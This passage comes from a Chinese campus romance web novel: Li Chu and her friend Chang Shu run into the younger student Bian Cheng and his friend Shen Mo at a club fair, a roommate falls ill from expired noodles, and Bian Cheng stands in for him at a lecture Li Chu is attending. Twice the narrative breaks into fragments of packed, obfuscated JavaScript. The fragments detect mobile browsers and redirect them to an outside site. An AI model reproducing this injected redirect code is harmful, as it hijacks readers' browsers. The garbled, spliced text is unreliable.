“不好意思。”清冽的男声马上响了起来，但黎初无暇顾及。 “怎么样？”常姝当即让她转过来，伸出手点在她的额头上。 黎初稍微张开了点手指，拼命眨了两下眼睛才把疼出来的胜利眼泪憋了回去。 常姝皱着眉，眼里的担忧快要漫溢出来，“有点红。” 她轻轻戳了一下，问：“这样疼吗？” “还好。”黎初摇了摇头。 就撞上去的那一刹那疼了一下，现在缓了一下其实已经没感觉了。 常姝松了一口气，但是眉头一直没松，一边偏过身一边气势汹汹说：“你们怎么看路的？！突然冒出来……” 还没说完，声音戛然而止，表情也空了。 黎初不明所以，顺着她的目光往边上看，只能看到Polo衫上的扣子，再往上看一点，凸起的喉结在白皙的颈脖上勾勒出一道硬朗的线条。 再抬头时，一双无比熟悉的桃花眼出现在眼前，并且在和她对上视线的一刹那明显怔了一下。 “是你？”黎初没忍住惊呼出了声。 边程看上去也很惊讶，“黎初学姐？” 黎初的手还没有放下去。他视线上移，似乎是注意到了，立刻说道：“不好意思，刚刚和朋友在聊天没注意到前面有人……” 他边上的男生立刻抬手抱歉一笑，“不好意思学姐。” 男生和边程差不多高，脸倒是和边程完全不同的帅气，五官立体冲击力极强，但笑起来却有两个深深的梨涡，中和了攻击性。 不是黎初的菜，但不妨碍她看到时愣了一秒。 边程轻咳了一声，正色问：“现在还疼吗？” 黎初这才反应过来刚刚他在和自己说话。边程眉头微蹙，眼神认真，就垂眸静静地望着她，见她望了回来还稍稍低了低头，等着她回答。 俊脸在面前忽然放大，黎初突然意识到这个距离已经完全超过正常社交距离，赶紧向后退了两步说：“不疼了。” 见边程的神色并没有放松，她补充道：“其实当时也是我回头没看前面的路……” 她心虚的时候就喜欢到处乱瞟，这次可供她乱瞟的方向不太多，黎初下意识地就想找常姝的方向。 然后看到常姝不知什么时候站在了对面，正朝她挤眉弄眼，手指藏在身后疯狂地往边上指。 黎初透过她高频率抖动的睫毛艰难看向她眼底，辨识出她应该想问：他是谁？ 黎初：…… 糟了，她crush到小孩哥的事情要瞒不住了。 14. 又逢 面前的女生素面朝天，套着简单的白T加牛仔短裤，柔顺的头发用鲨鱼夹夹起，略微有些松散，和上一次见面一样，看上去像是随便出来散个步，连眼神也和上次一样躲闪，只不过这次很快就直直地望向他的身边，神色有些微妙。 边程不动声色地顺着她的视线往边上一看，原本站在她身侧的女生不知道什么时候站到了离他身边几米的位置，正在疯狂朝黎初眨着眼睛，看上去像是在打什么暗号。 能和她形影不离的女生……边程思索了一下便猜出了她的身份——应该是他表哥的女朋友。 至于为什么打暗号……边程猜应该是她觉得前面语气太冲了有些尴尬。 事已至此，边程决定善解人意地给个台阶，他先接上黎初的话：“没关系。” 接着故意往边上看了一眼，装作才发现似的迟疑问：“这位是……？” 刚问完，就感到后腰被掐了一下，接着沈默刻意压低的声音便响在了耳边：“你这搭讪技巧好烂。” 边程：…… 边程对他这位朋友的脑补能力一向是敬佩的，要是能脑补对方向的话就更好了。 “闭嘴。”趁着两个女生不注意，他咬牙切齿地挤出两个字丢给身边这人。 要不是这人拿了轮滑社的宣传单又着急着要去电竞社看看，他一时间被拽得没反应过来，否则怎会直接撞到学姐？ “她是我朋友，常姝。” 黎初的声音及时响起，边程赶忙收拾了一下自己的表情，微笑着打了个招呼：“学姐好。” 原本站在边上的女生已经重新回到了黎初的身侧，朝他回以一笑，“不好意思啊刚刚语气有点冲。” 边程立刻答：“没事，本来我们也有错。” 常姝不甚在意地摆了摆手，一双泛着光的眸子里满是他看不懂的兴奋，嘴角也是一如刚才的勾着，她问：“你跟小初是怎么认识的？你叫什么？哪个院的？” 一上来就这么自来熟吗？ 一连三个问题抛下来，边程被砸得懵了一瞬，错失了回答的良机。 原先勾着唇角笑的常姝不知怎地猛地皱起眉龇牙咧嘴起来，像是在忍受着什么难以言喻的痛苦。 “他叫边程，应该是周末了来找哥哥的吧？”一直在旁边没打断问话的黎初突然开了口，回答的是常姝的问题，乌黑的眸子望向的却是他，虽然没有任何举动，但边程从她的眼神中莫名读出了一丝……恳求？ 今天周末，确实算是放假。至于找哥哥……他主要是陪沈默来凑热闹的，但林修也的确让他过来一趟，为的是让他捞走一大摞发不完的读书会传单，这应该也算是找……林修吧？ 边程迟疑地点了点头。 “你哥也是我们学校的？”常姝的眼睛又亮了起来，表情也不狰狞了，只顾着问，“叫什么？是哪个院的？” 边程：…… 好耳熟的问话。 哥，你女朋友好像想当一支红杏了。 “这是看你不成，想看你哥了。”沈默阴魂不散，又扒在他耳边说。 边程这次连话都不想说，直接伸手朝身边一扭，如愿以偿听到了沈默没忍住的一丝抽气声。 “我哥的话……”他还没说完，常姝的表情也无缘扭曲了一瞬。 接着她咳了两声，说：“我瞎问的，你别放在心上啊。” 边程下意识地想客套两句，便见到黎初张了张口，似是有话要说。 他适时地朝常姝笑了一下当作回复，没再开口。 黎初睁着一双杏眼，漆黑的瞳仁在他和常姝之间来回打转，像一只察言观色的猫，犹豫了许久才出声试探：“这位……是你朋友吗？” 她的目光触过他的眼眸，短暂对视了一瞬，然后没有任何停留就移开了，落在了他的身侧。 边程：？ 等一下，这话题怎么跟他想象的不太一样？ 常姝的目光也投向了沈默，双眼又燃起了似曾相识的火花。 他扭头看向沈默。 边上这位原本松松垮垮站着的哥们神色迷茫，像是还没反应过来，在一片静默之中看了看黎初，又看了看常姝，最后望了眼他，才后知后觉地挺直了背，伸出一根手指，指了指自己，不确定地吐出一个音节：“我？” 边程：…… 他深吸一口气，若无其事地往边上挪了一步，确保把这个看上去脑子不太灵光、实际上就是傻的人挡了个严严实实才放下心来。 “他是我朋友，沈默。” 眼前两个女生同时抬起了手，朝他摆了摆，目光聚焦却在他的肩侧。 边程转头一看，沈默偷偷从他肩膀处探出个脑袋，笑得说不出的谄媚。 得了，白遮了。 再一回头，黎初还盯着他的肩头，眼睛一瞬不瞬的，像是看入了迷。 边程一时之间都有些气笑了，沈默对她的吸引力就有这么大？刚见面就痴迷成这样？ 也是，毕竟刚刚碰到的时候，她就对着沈默呆愣了好一会，要不是他装咳了一下，恐怕她到现在都不会移开视线吧。 “学姐来这是想报名什么社团吗？”他努力再往边上站了站，微笑着试图开启下一个话题。 黎初终于舍得把目光从他肩上移走，但不知为何，与他目光相接，哪怕只有一秒，她都会像触电似的移开视线。 就像现在，明明感觉到她似乎是想望他，但抬眼却是望向他的发顶，完全不给他任何机会捕获她的视线。 “没有，我们就是想来看看。”问的问题她倒是如常回答，只是就是不与他对视，也无意识地抿唇，像是在紧张什么。 边程都有些好奇了，明明前两天还见过，明明那个时候还好好地聊了会天，怎么今天就完全变了个样？ 他是做了什么触犯了天条吗？但也不对啊，自那之后他们也没再见过面了啊。 天色不知什么时候完全暗了下来，他们边上的路灯闪了几下，没亮了起来。 亮不起来的路灯好像打开了什么开关，尴尬开始在空气中蔓延，连沈默都察觉出来不对劲挠了挠头。常姝和黎初对视着，后者此时倒开始分心用余光扫过来，虽然只是一阵一阵的。 边程一开始想借天色道别，但看到黎初的小动作，他忽然改变了主意，莫名被激起了奇奇怪怪的胜负欲。 沈默几次朝他递眼色，都被他无视了，他现在只想看看如果他们都不开口，她会作何反应？ 在黎初第五次用余光看过来的时候，边程不想再装作没看见了，歪了歪头正正好撞进她的眼眸。 他都能看到黎初的瞳孔骤缩，接着像是被拽了不存在的尾巴，猛地偏过了头，又故作淡定地转回来，“天色不早了，你们先逛吧，我们先回去了。” 和他想的倒是分毫不差，边程废了好大力气才抑制住嘴角的弧度。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223440|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这一局是他赢了。 常姝看上去完全不知道发生了什么，满脸迷茫，被黎初悄悄拽了一下，才反应过来：“对，我们原本准备去别处看看来着。” 沈默在一旁像看到了救星，跟着就上前一步说：“那再见？” 两位学姐都发话了，他还能说什么？ “学姐再见。”他学着黎初先前的样子，招呼是朝两个人打的，眼睛却只看一个人。 可惜这个人装作没看见，快速地点了点头，拽着常姝就跑，跑出了落荒而逃的意味，不一会就消失在人群中了。 “走吧，你不是要去找你哥吗？”沈默回身，眉心一抖，露出了见了鬼似的表情，后退了好几步，“你笑什么？” “我有笑吗？” 他明明忍住了啊。 边程抬手触了一下唇角，才发现那道不寻常的弧度。 沈默怀疑地看着他，“中元节早就过了，你不对劲也不是在这时候吧？” 这次倒能很快察觉到嘴角下去了，边程白了他一眼，没好气说：“走。” * 周围的社团都在奋力宣传，他们到的时候林修倒是坐在椅子上玩着手机，用宣传单扇着小风，好不悠闲。 边程敲了敲桌子，他才慢悠悠地抬起头。 “你们这宣传力度不给力啊，会长带头偷懒？”边程朝他昂了昂下巴，权当打招呼了。 林修摇了摇头，依旧是慢悠悠熄了手机屏，才说：“你懂什么？我们今天已经招了不少人了，大大超出预期。” 边程若有所思地颔了颔首，转身就走，“那你传单应该发差不多了，我走了。” “哎哎哎，别走。”果然林修坐不住了。 一回身，就见他抱出来一大摞传单。 边程忍不住挑眉，“这就是你说的宣传了很多？” 林修往他手上塞了一叠，又往边上沈默怀里塞了一打，嘴里念叨着：“有时候又不一定要纸质宣传，给你们草稿纸还不乐意吗？” 边程看着满满当当标语找不到一处空白的传单，沉默了。 “好了，也没什么事了，回去吧。”林修一拍手，看上去对这结果甚是满意。 “对了，你跟她说了我是你表弟，要来找你？”边程突然想起之前黎初问的话。 “什么？”林修神色莫名。 “就黎初学姐。” 林修看上去更莫名其妙了，“我把你微信推给她的时候就跟她说了你是我弟啊。” “不是。”边程解释道，“你有跟她说我的长相……之类的吗？” 林修的目光已经完全变了，先是疑惑，接着又是震惊，最后化为警惕，“弟啊，我知道你皮相不错……” 他看上去完全噎住了，许久才憋出来：“但是和女生说这些……” “好了不用说了。”边程直接打断他的话。 他现在知道林修肯定没说了。 那她是怎么知道他要去找哥哥的？ 边程有些没明白。 算了，下次有机会遇到的时候再问问吧。 暂时放下这个问题，他一抬眼，就看到林修依旧怪异的眼神。 边程：…… “哥，我要提醒你一下。”他微笑着迎上林修的目光，“你再不管理你的皮相，嫂子要跑了。” 说完他就头也不回地走了，完全没理会身后林修大喊的回来。 15. 劝学 “等等我！”都走出了半截了，愣在原地的沈默才追了上来。 “你真不理理你哥？”他还有心思回头看，一副唯恐天下不乱的样子。 “不理。”边程毫不留情吐出两个字。 沈默这才恋恋不舍地转回来，啧了一声，语重心长地说：“这我就要说说你了，你既然看出来了你哥和你嫂子有了情感危机，好歹也指条明路吧，不然这兄弟做的不仗义。” “哎不过你怎么看出来的？跟我说说。”下一秒，声音压低了十个度、语气拐了十八个弯都掩盖不住隐隐的兴奋，沈默故意撞了下他的肩。 边程看了他一眼，凉凉道：“不是你说的吗？我嫂子看我不成，又想看看别人了。” 沈默脚步猛地一停，恍然大悟：“刚刚那是你哥女朋友？” 见边程没有停下脚步的意思，他又跑了两步凑过来，眼神怀疑：“不对啊？但是她看上去不认识你啊。” 边程无语：“我哥的女朋友就一定要认识我吗？” 沈默沉默了一瞬，才道：“也是。” “不过那另一位学姐是谁？我看你俩看上去倒是认识。”沈默朝他挤眉弄眼，抬手拍了拍他的肩。 这才是问话的真实目的吧。 边程脚步一顿，轻描淡写道：“我哥女朋友室友，之前聊过两句。” “真的假的？”沈默圈住他脖子，看上去完全不信，挑眉道，“你还会和女生聊天？” 边程白了他一眼，用力把他胳膊掰开，“回去看看我给你发的数分笔记第一页名字叫什么。” 沈默回想了一阵后立刻把手放了下去，肃然起敬：“原来是义父。” 边程：…… “还是不对，为了笔记聊两句正常，但是你刚刚盯着人家干嘛？这不像你啊。”沈默突然反应过来，话题兜兜转转又到了回来。 说为了奇奇怪怪的胜负欲你信吗？ 沈默肯定不信，所以防止解释越多越描越黑，边程选择了闭嘴。 他不说话，沈默像是发现了新大陆，眯起眼睛，“你有问题，你不对劲。” 边程撇过脸，懒得理他。 沈默盯着他，痛心疾首，“我们小边已经心有所属了，把这消息放出去不知道多少我们班女生要哭晕在宿舍。” 班里女生人数都凑不出两桌麻将，人都不一定认识他，哭晕在宿舍个屁啊！ 更何况到底哪看出来他心有所属了？！都说了是胜负欲的锅！ 边程忍无可忍：“闭嘴！” * 进了宿舍楼，沈默还是没放弃在他耳边念叨，一开宿舍门看到罗述和宋文坐在椅子上双双抬头看过来，边程就知道今晚算是完了。 于是他直接拎起换洗衣物就去了浴室，没给他们留一点反应时间。 浴室放水的哗哗声都挡不住外面此起彼伏的惊叹声，即使做了心理准备，但推开门就撞上罗述和宋文炯炯的目光，边程还是想把沈默刀了。 好在罗述和宋文算是脸皮薄的，只抿唇互相对视了两眼就把头扭了回去，没有多问。 边程也就装作若无其事，路过沈默的桌边，准备回自己位置，结果闻到了一阵香味，低头一看，始作俑者抱着一桶泡面，吃得正香。 “大晚上吃泡面，”边程拿毛巾抽了一下他，“考虑过我们三个的感受吗？” 沈默头都不抬一下，用空着的手指了指一个方向，“你们也吃啊。” 墙边摊开着沈默的行李箱，里面还散落着好几桶泡面。 “食堂晚上不是有宵夜吗？”边程抬手擦了擦头发，往那边走。 “月末了，兄弟你懂的。” 边程：…… 差点忘了这是个月光族。 “兄弟我即使不带衣服也要带这几桶泡面来，就是为了今天。”沈默大手一挥，“随便吃。” 宋文也过来凑热闹。 边程蹲下来，挑了个香辣牛肉面，习惯性地看了眼塑封袋上的保质期，白底黑字印着——2025年7月25日。 日期挺近的，只是现在是2025年9月。 边程不信邪，看了眼宋文手上的，也是7月。两个人把泡面底翻了个遍，面面相觑。 一个二个要么过期一个月要么过期两个月，反正没一个在保质期内。 边程默默转过身，看了眼沈默的泡面桶——空了。 “你什么时候买的这些泡面？” “去年吧，我家里没吃完的，怎么了？”沈默不明所以。 边程深吸一口气，“收拾收拾准备去医院吧。” 沈默：？ * 由于沈默坚决表示相信自己的肠胃，他们只能依他熄灯上床睡觉。 但是凌晨三点，沈默就被他的所谓无坚不摧的肠胃给背刺了。 卫生间传来阵阵的呕吐声，边程被迫从床上爬起来，找了宿管打了120，和罗述他们把沈默送上了救护车。 沈默脸都绿了，人高马大地躺在担架上哼哼唧唧。边程看医生把人摆弄好，刚准备走，沈默突然垂死病中惊坐起一把握住他的手，把周围人吓了一跳。 边程赶紧俯下身，沈默眼睛都快闭上了，还用断断续续的声音小声说：“我明天……接了个代课……” 边程：…… 现在还有心思想这个？ 边程哭笑不得，真是不知道该说他什么好。 “我帮你去。”不过看他可怜见的，边程还是大发了善心。 “第二教学楼……603……早八。”沈默还坚持把教室说完。 八个字说完，边程差点扭头就走。 最远的教学楼，最高的楼层，最要命的时间，沈默真特么的会选。 数分老师就这周一出差一次，他就接上代课了。边程咬牙切齿把沈默按下，挤出一个好字。 沈默终于安心闭眼去医院了。被他这事故一闹，不知道宋文和罗述什么感受，反正边程是一点困意都没了，定了个闹钟躺在床上试图闭目养神。 结果当然是没睡着，更痛苦的是好不容易感觉要见周公了，闹钟响了。 困意如洪水猛兽般反扑过来，边程几乎是一路飘到教室的，摸到最后一排空位就闭眼趴下来了。 都不知道老师是什么时候进来的，边程的魂已经飞到爪哇岛了。所有人的声音都像是有延迟，过了许久才能传进他的耳朵，所以他自然而然地没有反应过来老师越来越近的脚步声。 “我看有的同学啊，昨晚上大概是去修仙了吧，那眼睛啊，是困得完全睁不开啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233896|181627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 边程此时还闭着眼，脑子一片浆糊，老师的话从左耳朵进，右耳朵出，反正不管怎么样都没经过脑子。 “啪！” 书敲在桌子上，仿佛鞭炮炸在耳边，骤然把他吓清醒了，身子都不自觉一抖。 边程赶紧直起身用力眨了眨眼，扫视了周围一圈。所有人都回头望着他，目光有同情、有促狭、还有迷茫……什么都有。 老师意味深长地看了他一眼，没追究，慢悠悠踱步回到讲台继续讲课。 这下丢脸丢大发了。 边程捏了捏眉心，强行打起精神来。 好在这只是代课而已，没有人会在意他，他在心里安慰自己。 调理好了之后，他一抬头，正撞上一道炽热的视线。 女生缩着脖子，小脸窝在蓝T的领口中，眉毛高高挑起，瞪着大眼睛，眼神中满是惊恐，分外眼熟，不是黎初是谁？ 她旁边的常姝表情也是如出一辙，只不过比她多张了个嘴巴。 边程大脑宕机了。 再反应过来之时，两人已经转回去了，他掏出手机以最快速度登陆了学校官网，翻出第二教学楼603的课表，一看——周一早上八点到九点四十，中国近代史纲要，24经统1班。 24经统1班。 大概、也许、可能、应该是黎初的班级。 沈默真特么的是个欧皇。 边程平静地熄了屏，开始思考要不要看一眼老黄历，他怀疑今天诸事不宜，至少他们寝室已经倒霉两个人了。 黎初没再回过头，边程心里莫名焦躁，只能对着空白的笔记本转笔转到飞起来缓解。 等下课等到花都快谢了，终于听到了铃声响起，边程几乎是立刻把本子往书包里塞。 可再抬头，习惯性地往某处一看，哪还有黎初的身影？ 心里的焦躁一下被推到顶峰，身前不知何时走过来一个女生，正好挡着边程出不去。 “请问可以要一下你的微信吗？”女生怯生生的，看上去很紧张。 “不好意思没有手机。”边程朝她点了一下头，“可以让一下吗？” 女生呆了一下，但听话地往边上站了站。 边程直接从她身边跨了过去，头也不回地冲向后门。 走廊上都是人，从各个教室涌出，都朝楼梯口走。光线昏暗，人头攒动，在这种环境中连呼吸都有些困难，而他想找的人大概率已经先一步走了。 边程说不出现在是什么心情，只屏住呼吸，机械地往前踏出一步，融入到人群中，跟着人群人挤人经过一个教室门口。 身旁响起微弱的咯吱一声，下一瞬，他感到手腕被握住了。 灼热的温度贴着皮肤，如电流般传到心脏，心跳猛地加快。 一道温柔但不容抗拒的力气轻轻一拽，让他跌进了门，边程垂眸，任由女生猛地把他按在门上。 教室窗帘大开，光线透过窗户洒进来，视线一下子亮了起来，边程能看清她眼上的每一根睫毛。 他抬手，张了张口，没来得及发出声音，唇上就覆上了轻柔的触感。 黎初伸手捂住他的嘴，皱眉问：“你不去上学吗？” 边程大脑一片空白，忽然就忘了打招呼的事，满腹话语化作了一个：？